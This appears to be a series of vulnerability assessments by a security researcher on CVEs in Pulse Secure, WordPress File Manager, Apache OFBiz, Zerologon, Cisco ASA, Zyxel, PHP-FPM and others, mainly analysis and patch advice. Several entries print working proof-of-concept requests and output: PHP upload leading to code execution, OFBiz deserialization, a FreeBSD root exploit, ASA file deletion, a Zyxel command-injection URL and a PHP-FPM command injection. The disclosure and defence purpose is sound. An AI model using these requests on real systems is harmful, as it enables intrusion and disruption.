Please see the Rapid7 analysis.

Public details are sparse at the moment, but the CVSSv3 score of 10.0 suggests this is a trivial, unauthenticated attack. Moreover, command injection is about as bad as it gets.

Please see the Rapid7 analysis. A Metasploit module will be released.

Oh dear, another Pulse Secure vuln. Let’s break this down lightly.

This particular CVE can be compared to CVE-2019-11539, which is also an authenticated RCE that requires access to the admin interface. So, the fact that this requires admin interface access (SSRF notwithstanding) significantly reduces the impact of the vuln.

But wait, there’s more! Why was CVE-2019-11539 such a big deal, then? We have to consider the effects of CVE-2019-11510 in the exploit chain. We were able to leak session cookies with CVE-2019-11510, among many other things, which let us authenticate our post-auth RCE. All it takes is one info leak primitive. And short of an info leak, creds can still be compromised in other ways, such as through default creds, password spraying, or even a file in an SMB share somewhere (hopefully internal).

So, uh, yeah. Patch this. Secure your creds and don’t make them admin:admin. Admin access alone is devastating. Don’t add root RCE to it. VPN is the window into your org.

Please see the Rapid7 analysis.

CVE-2020-15589 and CVE-2020-24397 are grouped together with this.

I want to clarify that these are client-side vulnerabilities in ManageEngine Desktop Central. Exploiting them will certainly require MITM or other control of the network.

Details and a PoC are available, so patch this immediately. Desktop Central is UEM software, and while this is a set of client-side vulns, you don’t want attackers taking advantage of such critical software.

Confirming I was able to reproduce this vuln when it became known.

Analysis

The VPN client verifies that certificates are signed by a) Fortinet themselves or b) a “trusted” CA. The Fortinet-signed certificate does not have its server name verified, and an attacker can substitute in another Fortinet-signed certificate for use in a man-in-the-middle (MITM) attack.

The attacker may then be able to retrieve VPN user credentials and tokens from the captured network traffic.

Exploitability

The attacker needs a Fortinet-signed certificate as well as presence on the target’s network to initiate the MITM attack. The certificate can be obtained from another Fortinet device, and the network access can be obtained through a compromised IoT device as the researchers suggested.

All in all, exploitability is lower due to the targeted exploit chain.

Impact

An attacker may obtain VPN access to an organization’s network and its services.

Recommendations

VPN administrators should use only certificates that are signed by a trusted CA.

Aruba’s ClearPass Policy Manager, part of the Aruba 360 Secure Fabric, provides role- and device-based secure network access control for IoT, BYOD, corporate devices, as well as employees, contractors and guests across any multivendor wired, wireless and VPN infrastructure.

https://www.arubanetworks.com/assets/ds/DS_ClearPass_PolicyManager.pdf

Unauthed RCE in NAC software. Not sure how common this one is, but it’s name-brand software, so expect to see it on enterprise networks. High-impact target if compromised, since NAC is tightly integrated with the network.

Detailed writeup here.

It’s not actually clear this is the RCE in the blog post, so please see CVE-2020-15506.

https://mobileiron/mifs/.;/services/someService

The “auth bypass” relies on a discrepancy between how Apache and Tomcat parse the path component in the URI, which is the same technique that was applied to CVE-2020-5902.

“Bypassing authentication” allows one to achieve RCE against either the user interface or the management interface, though it’s not clear that CVE-2020-15505 is the RCE used in the blog post. This is more of an ACL bypass than an auth bypass, honestly. This was briefly mentioned in the post.

Since MobileIron is mobile device management (MDM) software, which is increasingly relevant as the workforce shifts toward remote work, compromising a target’s MDM infrastructure may have devastating consequences.

Developers gluing disparate pieces of software together should take care to avoid turning expected input from one software into unexpected input for another. This bug class is well-documented. In the end, even input sanitization should take care to avoid normalization bugs.

Great find, Orange!

Also see CVE-2020-15505, a MobileIron RCE.

This is reflected (vs. stored) XSS under certain circumstances, so I’m not sure how useful this is outside, say, phishing for creds – critical rating aside. Happy to be shown otherwise.

This appears to be enterprise asset management software, which would be common in, well, enterprise environments. This vulnerability is authenticated, though, so you will need to obtain creds. After that, Java deserialization RCE is typically a well-supported attack.

Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.

Not enough is known about this vulnerability, but this requires admin creds to the management interface, so mitigate this by choosing secure passphrases, securing credential storage, etc.

Not enough is known about this vulnerability, but if an unauthenticated attacker can knock out a PAN-OS device, that could cause severe network disruption. RCE would be even worse. Note that this affects only the Captive Portal and Multi-Factor Authentication interfaces.

WordPress sites are getting exploited en masse with this vuln. The File Manager plugin is the first result for “file manager” in the WordPress plugin database. No surprise lots of people are installing it, considering its generic name. ~700k by the numbers.

The vuln is trivial to exploit and weaponize, too. If you’re running the plugin, you need to bring in incident response. The edited PoC below shows that the vuln can be exploited in two requests to execute arbitrary PHP code.

wvu@kharak:~$ curl -s http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php [redacted] | jq
{
  "added": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "text/x-php",
      "read": 1,
      "write": 1,
      "size": "35",
      "hash": "l1_eC5waHA",
      "name": "x.php",
      "phash": "l1_Lw",
      "url": "/wp-content/plugins/wp-file-manager/lib/php/../files/x.php"
    }
  ],
  "removed": [],
  "changed": [
    {
      "isowner": false,
      "ts": 1599193366,
      "mime": "directory",
      "read": 1,
      "write": 1,
      "size": 0,
      "hash": "l1_Lw",
      "name": "files",
      "phash": "l1_L3Zhci93d3cvaHRtbC93cC1jb250ZW50L3BsdWdpbnMvd3AtZmlsZS1tYW5hZ2VyL2xpYg",
      "volumeid": "l1_",
      "locked": 1
    }
  ]
}
wvu@kharak:~$ curl http://127.0.0.1:8080/wp-content/plugins/wp-file-manager/lib/files/x.php -d c=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
wvu@kharak:~$

There is a PoC in the Project Zero issue. While this is just a crash, the researcher didn’t rule out code execution.

Please see CVE-2020-3495 for an example exploit chain.

This XSS combined with CVE-2020-3430, a protocol handler RCE vulnerability, is a potent combination.

Note that this attack requires intercepting/sending a crafted message to a recipient. It does not, however, require their interaction. If an attacker has local access to Jabber or is otherwise authenticated to a Jabber network, this isn’t a stretch.

Please patch this in your corporate networks! Attackers have been known to read IM messages and even send phishing links through them. This is worse, since it’s potentially wormable RCE… if you use Jabber at all. :–)

There is an exploit for this. I was able to extract the firmware and statically confirm the vulnerability. I haven’t tried to kick it off in QEMU yet.

Fun bug chain. The vendor hasn’t patched this. If you’re using this in your environment, you may want to disable the web interface as per the exploit’s README.md.

Note that this HiveOS is not to be confused with the mining platform HiveOS. This is Wi-Fi stuff.

In the most recent vulnerable versions of BIG-IP, accessing TMSH through the TMUI path traversal leads to “RCE” insofar as you can execute management commands in a restricted TMSH environment.

That said, there are a few different ways you can break out of the restricted shell. One method utilizes TMSH’s command alias functionality to map a blocked command to an allowed command. This results in Unix shell access as root.

In either case, privileged access to an F5 BIG-IP device is critical, as these often sit at network borders and even provide SSL termination!

Unlike CVE-2017-5638, which was exploitable out of the box, since it targeted Struts’ Jakarta multipart parser, this vulnerability requires a certain set of circumstances to be true in order for Struts to be exploitable. Since Struts is a web application framework, this will depend entirely on the application the developers have created.

I don’t know how common this particular scenario is. Please read the security bulletin for more information. However, what I do know is that this CVE falls somewhere after CVE-2017-5638 and CVE-2018-11776 on the exploitability scale, from most exploitable to least: a parser flaw, a configuration flaw, and a programming flaw.

So, definitely patch this, but also follow Struts development best practices, including those outlined in their security bulletins. No measure of mitigations will protect you from poorly written code.

This popped Equifax. Vulnerable versions of Struts are exploitable out of the box, since this was a parser flaw. Make sure this is patched!

Seems to be a reliable though somewhat elaborate LPE on all 64-bit FreeBSD kernels since 2014.

Though FBSD may not be as common as (GNU/)Linux, I’ve seen it used as an appliance base by certain vendors. The OS doesn’t always get patched in those cases.

ETA: Looks like it has the potential to crash even exploitable systems, but it is a kernel heap memory corruption.

$ ./exploit
[+] Starting wrecker
[+] Wrecker ready
[+] Starting executor
[+] Waiting...
[+] Winner 1
[+] Winner 2
[+] Magic found
# id
uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user)
# uname -a
FreeBSD  12.1-RELEASE FreeBSD 12.1-RELEASE r354233 GENERIC  amd64
#

Otherwise working.

Researchers wrote this one up at https://www.gosecure.net/blog/2020/08/26/forget-your-perimeter-rce-in-pulse-connect-secure/.

In CVE-2020-15408, I was musing about SSRF-to-RCE potential as a normal user, but this just skips right to CSRF’ing an admin to get RCE.

Note that both these vulns involve interacting with an authenticated user. The “threat model” is different from that of previous Pulse Secure RCEs. Patch this but also invest in security training for your users!

ETA: This is otherwise post-auth RCE, so if you have admin creds, you can execute commands all the same. It’s not uncommon to find creds like these in a corporate wiki or share somewhere.

Via @hrbrmstr: https://securityintelligence.com/posts/new-vulnerability-could-put-iot-devices-at-risk/. See also: https://threatpost.com/flaw-affecting-millions-iot-devices/158472/.

Pre-auth RCE in ERP software that’s free and isn’t SAP? Sweet. And it’s a long-standing Apache project that’s often recommended. Here’s a PoC:

wvu@kharak:~$ curl -vH "Content-Type: text/xml" http://127.0.0.1:8080/webtools/control/xmlrpc -d '<?xml version="1.0"?><methodCall><methodName>foo</methodName><params><param><value><struct><member><name>bar</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions"></serializable></value></member></struct></value></param></params></methodCall>'
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> POST /webtools/control/xmlrpc HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: text/xml
> Content-Length: 273
>
* upload completely sent off: 273 out of 273 bytes
< HTTP/1.1 200 OK
< Server: Apache-Coyote/1.1
< Set-Cookie: JSESSIONID=D090A373F50D50CF8CFCF2F9E301D04A.jvm1; Path=/webtools/; Secure; HttpOnly
< Set-Cookie: OFBiz.Visitor=10221; Expires=Fri, 13-Aug-2021 19:57:20 GMT; Path=/
< Content-Type: text/xml;charset=UTF-8
< Transfer-Encoding: chunked
< Vary: Accept-Encoding
< Date: Thu, 13 Aug 2020 19:57:20 GMT
<
* Connection #0 to host 127.0.0.1 left intact
<?xml version="1.0" encoding="UTF-8"?><methodResponse xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions"><fault><value><struct><member><name>faultCode</name><value><i4>0</i4></value></member><member><name>faultString</name><value>Failed to read result object: null</value></member></struct></value></fault></methodResponse>* Closing connection 0
wvu@kharak:~$

A lot of orgs rely on ERP software, and you’re bound to find sensitive information in an ERP system. Note that these systems will likely be inside the network perimeter. High value for pentesters on an internal, I’d say.

Note that the CVE seems to conflate this with XSS. CVSS score seems lower than I’d expect.

ETA: Here’s an exploit: https://github.com/rapid7/metasploit-framework/pull/14000.

The advisory suggests that an unauthenticated attacker, presumably already on a domain-joined host, can connect to a DC over NRPC and escalate to DA. That’s pretty significant, but we have no additional details to go by, short of looking at the patch.

Notably, the patch is partial, and the second phase won’t be rolled out until Q1 2021. If attackers can figure out how to weaponize this, it could be a valuable escalation path to DA.

ETA: Technical details and a PoC check are available. Please see the Rapid7 Analysis for more detailed information.
ETAA: Source and spec confirmation that Samba is also affected by this vulnerability. Hint: look for ZERO_STRUCT(iv);.
ETAAA: Microsoft has confirmed that Zerologon is being exploited in the wild.

This bug affects not only Grafana instances, but also Gitlab instances (under the /-/grafana path) and SourceTree instances (under the /-/debug/grafana/ path).

This also affects GitLab, which presumably bundles Grafana. GitLab versions prior to 13.1.1 are affected. This increases the attack surface beyond just Grafana.

While I consider this a “primitive” in an exploit chain, it will certainly be useful to bug bounty hunters and the like. Seems people on Twitter may have gotten it to work already.

The web server is a 32-bit, big-endian MIPS binary at /magicP/WebServer/webs.

The patch against the websSecurityHandler() function in webs is simplistic. If the cookie length is greater than the buffer size of 512 bytes, the function fails out:

 char cookie[512];

 /* snip */

 if (wp->cookie != NULL) {
   cookie_len = strlen(wp->cookie);
+  if (512 < cookie_len) goto Fail;
   memset(cookie, 0, 512);
   strncpy(cookie, wp->cookie, cookie_len);
   cookie[cookie_len] = '\0';
 }

The exploit mitigations on the binary are lacking:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   1226) Symbols	  No	0		17		webs.unpatched

No additional mitigations were enabled in the patched version. Funny enough, the binary still has debug symbols.

Exploitability seems high on this one, given the complete lack of mitigations. That said, you would not be able to copy null bytes with strncpy(3).

The web functionality is implemented in the x86 gm_server binary.

Using the Claroty report and a hunch, I decided to test the Content-Length header for negative values:

The discovered bug occurs due to improper handling of some of the HTTP request headers provided by the client.

[snip]

CVE-2020-14500
IMPROPER NEUTRALIZATION OF NULL BYTE OR NULL CHARACTER CWE-158
An attacker can send a negative value and overwrite arbitrary data.

On the /admin page, setting Content-Length to a large negative value yielded a segfault in the gm_server process:

[30665.430945] gm_server[25115]: segfault at 56e35df1 ip 00000000566c0816 sp 00000000ffcb6bf0 error 6 in gm_server[565cf000+175000]
[30665.430952] Code: e8 e8 ee f4 ff ff 89 c7 e9 61 fe ff ff 8d b4 26 00 00 00 00 8b 95 60 02 00 00 85 d2 0f 84 93 00 00 00 8b 85 68 02 00 00 31 ff <c6> 04 02 00 8b 45 14 83 f8 02 0f 84 34 fe ff ff 0f 82 84 02 00 00

Note that a watchdog restarts the process when it crashes.

For GateManager 8250 on Linux, the gm_server binary has NX and PIE enabled. The embedded 4260 and 9250 models have only NX:

RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No Symbols        No    0               22              gm_server.unpatched

Exploitability of the embedded models seems high, given that PIE isn’t enabled. NX and system ASLR can be bypassed with ROP.

This is a web hosting control panel for CentOS, sort of like cPanel. RCE in one of these could mean compromised user websites and data. Web hosting used to be super popular in the 2000s, but it has largely been supplanted by cheap virtualization and “cloud” platforms, IMHO.

I make some assumptions about this vuln, since the code is ionCube-protected, so there’s no source, only PHP bytecode. Setup is also a nightmare, and there are no provisions for tracking or rolling back changes. Patching can get sketchy.

I did not analyze the vuln, as attempting to install an older version of the software consequently broke it, and deobfuscating ionCube takes a significant amount of time.

I wonder if this has SSRF-to-RCE potential after reading the recent security bulletin.

ETA: Or just target an admin.

The advisory isn’t worded very well, but it seems that logging in to the SSL VPN with a different-case username than set will allow 2FA to be bypassed, opening up the VPN to password attacks, such as password spraying.

Successful VPN access to an internal network can open up a lot of doors for an attacker, turning an external compromise into an authorized internal one. Many corporate services are hidden behind VPN. That said, proper network segmentation and secondary access controls can mitigate some of the risk. The “attacker value” is “medium” because this is just a 2FA bypass and also because of the listed caveats. It isn’t terribly useful on its own.

The KB article is written much better.

The file deletion doesn’t seem “useful” beyond disruption or denial of service against the web services. The files come back after a reboot, too. Not much “attacker value” here. The PoC is easy to weaponize, though, so please patch to avoid disruptions.

ETA: Hey, I can “patch” the vuln with the vuln:

wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Cache-Control: no-store
Pragma: no-cache
Connection: Keep-Alive
Date: Mon, 27 Jul 2020 19:57:23 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$ curl -kb token=../+CSCOE+/session_password.html https://[redacted]/+CSCOE+/session_password.html
wvu@kharak:~$ curl -kI https://[redacted]/+CSCOE+/session_password.html
HTTP/1.1 404 Not Found
Cache-Control: no-store
Pragma: no-cache
Connection: Close
Date: Mon, 27 Jul 2020 19:57:35 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; frame-ancestors 'self'

wvu@kharak:~$

This uses the vulnerable file to delete itself.

Technical details are a little sparse in the advisory, but this reads more like a bad software configuration or design than a vulnerability – one that may be indicative of a systemic problem in SAML implementations, not unlike the issues with SSL/TLS in practice.

Disabling identity provider (IdP) verification is akin to disabling SSL/TLS certificate verification, which is similarly the case here: many IdPs will generate self-signed certs, rendering verification all but impossible unless the software supports trusting individual certs. It is easier to leave a box unchecked. A box that seems to imply verifying only CA-signed certs. Palo Alto states as much in their advisory:

Many popular IdPs generate self-signed IdP certificates by default and the ‘Validate Identity Provider Certificate’ option cannot be enabled.

It would not surprise me if many organizations have this option disabled, regardless of what the default configuration may be (I haven’t been able to check), since widespread documentation suggests doing so. Case in point is Okta’s documentation on setting up SAML for Palo Alto products:

Many other IdPs, including Microsoft’s Azure Active Directory, suggest the same. This sets a dangerous precedent for other software to follow. In the worst case, this problem is already endemic in SAML implementations, regardless of the circumstances here. An audit of SAML implementations may be a worthy endeavor.

You should still patch or otherwise fix this configuration if at all possible. Palo Alto suggests using a CA-signed cert when available. Ideally, certificates should be trusted on a one-by-one basis, which is an unsustainable model for SSL/TLS but adequate for SAML. Of course, the software must support this, and the documentation must advise it. This was not the case here, apparently.

Some more details here: https://about.gitlab.com/releases/2020/03/11/critical-security-release-gitlab-12-dot-8-dot-6-released/.

@zeroSteiner pointed us to this exploit chain today: https://twitter.com/CasvCooten/status/1270374273849401346. It uses CVE-2020-10535 to satisfy the authentication requirement. Note that https://hackerone.com/reports/827052 already explains the path to RCE. We actually already have a Rails secret deserialization exploit, so “weaponizing” the exploit chain is possible.

@cblack-r7 and I looked at this a couple weeks ago, specifically https://seclists.org/oss-sec/2020/q2/136 and https://github.com/IdealDreamLast/CVE-2020-9484. I did a double take because I thought it included a file write. Not so. There are a handful of prerequisites that mitigate the impact of this vulnerability.

If the stars align, this could be valuable, since Tomcat is everywhere. But I don’t think it’s worth writing an exploit for this, beyond a PoC, since exploitation is so niche. @redtimmy’s writeup is most excellent. Go read that.

Metasploit exploit module already in the tree.

Metasploit exploit module PR’d here.

The software requires purchase to download, and a VMware login is required to access the download page. The “Open Source Disclosure Package” contains only open-source JARs – no patch to analyze.

VMware provides a workaround here in the form of a shell script, reproduced below.

#!/bin/bash

# Copyright 2020 VMware, Inc.  All rights reserved.

# This script patches vCloud Director cell to protect against CVE-2020-3956
# 1. download 'WA_CVE-2020-3956.sh' in all vCD Servers repeat steps from 2-4 in all servers
# 2. chmod 740 WA_CVE-2020-3956.sh
# 3. Run ./WA_CVE-2020-3956.sh

readonly VCD_HOME="/opt/vmware/vcloud-director"
readonly BVAL_ROOT_DIR="$VCD_HOME/system/org/apache/bval/org.apache.bval.bundle"
readonly VMW_BVAL_DIR="$BVAL_ROOT_DIR/1.1.1.vmw"
readonly BVAL_DIR="$BVAL_ROOT_DIR/1.1.1"
readonly ELF_CLASS="org/apache/bval/el/ELFacade*.class"
readonly ZIP_CMD="/usr/bin/zip"

WIDTH=80

function is_zip_pkg_not_found()
{
    [ ! -f "$ZIP_CMD" ]
}

function is_bval_found()
{
    [ -f "$BVAL_DIR/org.apache.bval.bundle-1.1.1.jar" ]
}

function is_bval_vmw_found()
{
	[ -f "$VMW_BVAL_DIR/org.apache.bval.bundle-1.1.1.vmw.jar" ]
}

function start_vcd () {
    /etc/init.d/vmware-vcd restart
    if [ $? -ne 0 ]; then
        fmt -w$WIDTH <<EOF
Start up failed; you should review the logs in ${VCD_HOME}/logs for details.
EOF
    fi
}

function service_start()
{
    chown vcloud:vcloud "$BVAL_DIR"/org.apache.bval.bundle-1.1.1.jar
    chown root:vcloud "$VCD_HOME"/bin/vmware-vcd-cell-common
    chmod 0640 "$VCD_HOME"/bin/vmware-vcd-cell-common
    echo "--------------------------------------------------------------"
    echo "This cell has been patched. Restarting service...             "
    echo "--------------------------------------------------------------"

    start_vcd

}

function security_fix()
{
    if is_bval_found; then
      class_count=$($ZIP_CMD -sf $BVAL_DIR/org.apache.bval.bundle-1.1.1.jar | grep $ELF_CLASS | wc -l)
      if [ "$class_count" != 0 ]; then
	    $ZIP_CMD -dq $BVAL_DIR/org.apache.bval.bundle-1.1.1.jar $ELF_CLASS
        service_start
      else
        echo "This cell is protected against CVE-2020-3956"
        echo "--------------------------------------------------------------"
      fi
    fi
}


echo "Assessing your cell ....."
echo "--------------------------------------------------------------"

if [ -d "$VCD_HOME" ]; then
    echo "vCloud Director cell path found and scanning your system, "
    if is_bval_vmw_found; then
        echo "--------------------------------------------------------------"
        echo "This cell is protected against CVE-2020-3956"
        echo "--------------------------------------------------------------"
        exit 0
    elif is_zip_pkg_not_found; then
        echo "---------------------------------------------------------------"
        echo "zip package not found, it must be installed to run this script."
        echo "---------------------------------------------------------------"
        exit 0
    fi
    security_fix
    else
      echo "--------------------------------------------------------------"
      echo "vCloud Director cell path not found. "
      echo "--------------------------------------------------------------"
      exit 0
fi

The workaround removes any org/apache/bval/el/ELFacade*.class files from /opt/vmware/vcloud-director/system/org/apache/bval/org.apache.bval.bundle/1.1.1/org.apache.bval.bundle-1.1.1.jar. ELFacade deals with Java EL expressions, which suggests an EL injection vulnerability.

Note that this vulnerability is post-auth! This somewhat limits the exposure of the vuln, but no one said getting creds was difficult. Patch!

Assessment for the related CVEs here: https://attackerkb.com/assessments/ff54c69c-ecb9-4330-8286-b5d9654db5af.

Assessment for the related CVEs here: https://attackerkb.com/assessments/ff54c69c-ecb9-4330-8286-b5d9654db5af.

By chaining an auth bypass (this CVE), command injection (CVE-2020-4428), and default password (CVE-2020-4429), attackers can gain privileged access to IBM Data Risk Manager through its web API. Since this is an enterprise product that manages potentially sensitive data, compromise of the product can have significant consequences for an organization.

Pedro’s comments in the exploit explain the multiple exploitation steps quite well:

wvu@kharak:/rapid7/metasploit-framework:master$ git grep -h 'step [1-8]' modules/exploits/linux/http/ibm_drm_rce.rb | tail -8 | sed -E 's/^[[:space:]]+//'
# step 1: create a session ID and try to make it stick
# step 2: give the session ID to the server and have it grant us a free admin password
# step 3: login and get an authenticated cookie
# step 4: obtain CSRF header in order to be able to make valid requests
# step 5: upload our payload
# step 6: upload our script file
# step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
# step 8 and final: invoke the nmap scan with our script file
wvu@kharak:/rapid7/metasploit-framework:master$

step 1: create a session ID and try to make it stick
step 2: give the session ID to the server and have it grant us a free admin password
step 3: login and get an authenticated cookie
step 4: obtain CSRF header in order to be able to make valid requests
step 5: upload our payload
step 6: upload our script file
step 7: we need to authenticate again to get a Bearer token (instead of the cookie we already have)
step 8 and final: invoke the nmap scan with our script file

Since an auth bypass is used, this exploit isn’t technically unauthenticated but rather post-auth after bypassing auth. Note that these CVEs were 0days, so please patch! Great find and exploit, Pedro!

I had been waiting for more details on this, and F-Secure delivered. I have little to add to the other excellent assessments, but from a cursory review of the advisory and the code, this looks very easy to reproduce and is already being exploited in the wild as a result.

I wrote an assessment on the other CVE.

Veeam is a popular provider of enterprise backup solutions. The Veeam ONE Agent, which also runs on the ONE solution’s server, is vulnerable to pre-auth RCE through .NET deserialization.

This would be a valuable target if found, since backups can often contain sensitive information, not to mention the possibility of “poisoning” them for persistence. Additionally, since this is RCE in the agent, which runs on both the server and its managed hosts, there is potential for widespread exploitation, at least on an internal network, possibly even corporate laptops out in the world – but I don’t want to speculate too much. :–)

I couldn’t find any analyses or PoCs, so I did a little patch analysis and came up with an exploit for this particular CVE. The patches are shown below.

CVE-2020-10914 / ZDI-20-545

PerformHandshake() patch

CVE-2020-10915 / ZDI-20-546

HandshakeResult() patch

Here’s the other CVE on AKB: https://attackerkb.com/topics/XGLYmubkSs/cve-2020-10914. I haven’t done anything with it yet, but I can hit the code path. I targeted HandshakeResult() because it seemed more straightforward to trigger a failure in the handshake.

Technical details on the vuln are out: https://www.guardicore.com/2020/04/pwning-vmware-vcenter-cve-2020-3952/. It’s quite a bit more than information disclosure. Full auth bypass and the ability to add an arbitrary admin user. I’ve confirmed it myself and added a second module.

ETA: I noted the following in an earlier response here:

The data seemed to contain secrets related to VMware’s Security Token Service (STS) for single sign-on (SSO).

So information disclosure is still on the table for obtaining access. Presumably, you would use the STS private key to sign forged SAML tokens used in the STS SSO system. Wanted to update AKB, since we’d been talking about it in work Slack. :)

Hats off to the Guardicore team for their dedicated analysis.

A Metasploit module has been written: https://github.com/rapid7/metasploit-framework/pull/13213.

Wasn’t able to get a test device or emulate the firmware in QEMU, but I did dig into the patch a bit with Ghidra.

wvu@kharak:~/Downloads$ diff <(strings weblogin.cgi.unpatched) <(strings weblogin.cgi.patched)
33a34,39
> libpcre.so.1
> pcre_exec
> pcre_compile
> pcre_free_study
> pcre_study
> pcre_free
65d70
< free
119a125,126
> ^([a-zA-Z]|[a-zA-Z][a-zA-Z0-9._-]|[a-zA-Z][a-zA-Z0-9 ._-]{0,30}[a-zA-Z0-9._-])$
> ^[^!#-&(-]*$
wvu@kharak:~/Downloads$

Analysis of a patched function (not shown here) indicates Zyxel applied a regex to the username field.

But it appears they left what appears to be the command injection unfixed.

/cgi-bin/weblogin.cgi?username=admin';echo

¯\_(ツ)_/¯

WIP exploit module: https://github.com/rapid7/metasploit-framework/pull/13195.

I obtained a vulnerable installer and successfully tested RCE using mr_me’s exploit.

AFAIK, it is common to enable full mitigations on the binary, with ASLR enabled on the system. While this doesn’t mean much in and of itself, it could mean the vulnerability is difficult or “impossible” to exploit, depending on how the software is engineered or configured. A crash has already been proven.

If such a remote
server is controlled by an attacker (either because it is malicious or
compromised, or because of a man-in-the-middle, DNS, or BGP attack —
SMTP is not TLS-encrypted by default), then the attacker can execute
arbitrary shell commands on the vulnerable OpenSMTPD installation.

This seems to be the primary limitation for exploitation. You can’t just give OpenSMTPD an IP address. You need to control an MX host or relay, so a little more setup is required. Contrast this with CVE-2020-7247, which is directly exploitable against the server.

Exploit: https://github.com/rapid7/metasploit-framework/pull/12889.

We’re still trying to find a way to get generic RCE out of this, but it’s not promising: https://twitter.com/steventseeley/status/1230871514343518208. For now, it seems to be limited to LFI in the web root.

I did manage to get a shell, but it was rather contrived, since I uploaded the text file containing JSP myself, then included it. It at least did not require a .jsp extension, but the extension was required in the request URI.

Although the application was only accessible to authorised users, the lowest privilege (the Browser role) was sufficient in order to exploit this issue.

https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/

My testing confirmed that the endpoint is post-auth. No idea how to configure anonymous users yet, if possible. Uses Windows auth by default. Needed a password to get anywhere. Not really a problem in a Windows environment. So, if you have creds, this could be potentially useful pivot point.

I don’t know how common this is in enterprise environments, but it seems to be a likely pairing with Microsoft’s SQL Server. That may gain you access to useful information.

This isn’t a default in most installations I’ve seen. Looks like Linux Mint uses it, though, and that’s a decently sized target, IMHO. Popular for new users to Linux, which kind of explains why they’d turn on this particular setting. That said, I don’t think the corporate impact is high – unless they’re using Mint for workstations.

Great find, Joe. :–)

An Edge vuln might be more valuable, but plenty of people still use IE. Last I heard, there was no known PoC. Perhaps only Google and Qihoo 360 have seen these “attacks in the wild.”

We had post-auth RCE in Cisco Firepower Management Console submitted as a module in PR #7803. This new vuln nets you admin access to the device ONLY if LDAP authentication is enabled. I don’t know how common that configuration is.

While the potential for a shell is nice, admin access to a management center for network security solutions is likely more useful. I also don’t know if the admin interface is typically exposed on the WAN side, but I’ve seen worse. I’d expect to see this exposed on a corporate LAN, though. And if you can turn external access into internal access, it makes little difference.

I don’t think there’s any cause for panic with this, like Citrix last week, but I’d keep my eye on this one. Cisco hasn’t seen any PoCs, but it’s only a matter of time.

https://twitter.com/taviso/status/1217146026923978752

X.509 validation being broken is pretty big. I don’t know about RCE possibilities yet, but MITM and spoofing got a whole lot more serious.

This is indeed post-auth SQLi. Users with credentialed access to internal services, such as a disgruntled employee, are potential attackers. The utility of this bug is low.

This is indeed post-auth SQLi. Users with credentialed access to internal services, such as a disgruntled employee, are potential attackers. The utility of this bug is low.

Other than calibrating the QSL detection, this one looks straightforward to implement as a Metasploit module.

Some raw notes from yesterday:

wvu@kharak:~/Downloads/phuip-fpizdam:master$ ~/go/bin/phuip-fpizdam --only-qsl http://127.0.0.1:8080/script.php
2019/10/28 15:53:00 Base status code is 200
2019/10/28 15:53:00 Status code 502 for qsl=1765, adding as a candidate
2019/10/28 15:53:00 The target is probably vulnerable. Possible QSLs: [1755 1760 1765]
2019/10/28 15:53:00 Detect() found QSLs and that's it
wvu@kharak:~/Downloads/phuip-fpizdam:master$

[28-Oct-2019 20:53:00] WARNING: [pool www] child 16 exited on signal 11 (SIGSEGV) after 5.221837 seconds from start

wvu@kharak:~/Downloads/phuip-fpizdam:master$ ~/go/bin/phuip-fpizdam --qsl 1760 --pisos 55 --skip-detect http://127.0.0.1:8080/script.php
2019/10/28 15:57:32 Using attack params --qsl 1760 --pisos 55 --skip-detect
2019/10/28 15:57:32 Performing attack using php.ini settings...
2019/10/28 15:57:33 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/28 15:57:33 Trying to cleanup /tmp/a...
2019/10/28 15:57:33 Done!
wvu@kharak:~/Downloads/phuip-fpizdam:master$

